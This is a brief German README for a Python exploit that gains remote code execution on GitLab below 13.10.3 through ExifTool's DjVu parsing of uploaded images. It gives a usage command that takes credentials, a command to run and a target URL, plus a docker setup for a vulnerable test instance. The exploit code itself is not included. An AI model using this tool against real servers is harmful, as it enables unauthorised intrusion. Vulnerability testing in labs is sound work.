
Python-Exploit, der Remote Code Execution auf GitLab-Versionen vor 13.10.3 erreicht, indem er das ExifTool-DjVu-Parsing über GitLab-Workhorse-Bild-Uploads missbraucht.
RCE-Exploit für Gitlab < 13.10.3
python3 exploit.py -u root -p root -c "command here" -t http://gitlab.example.com
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.10.2-ce.0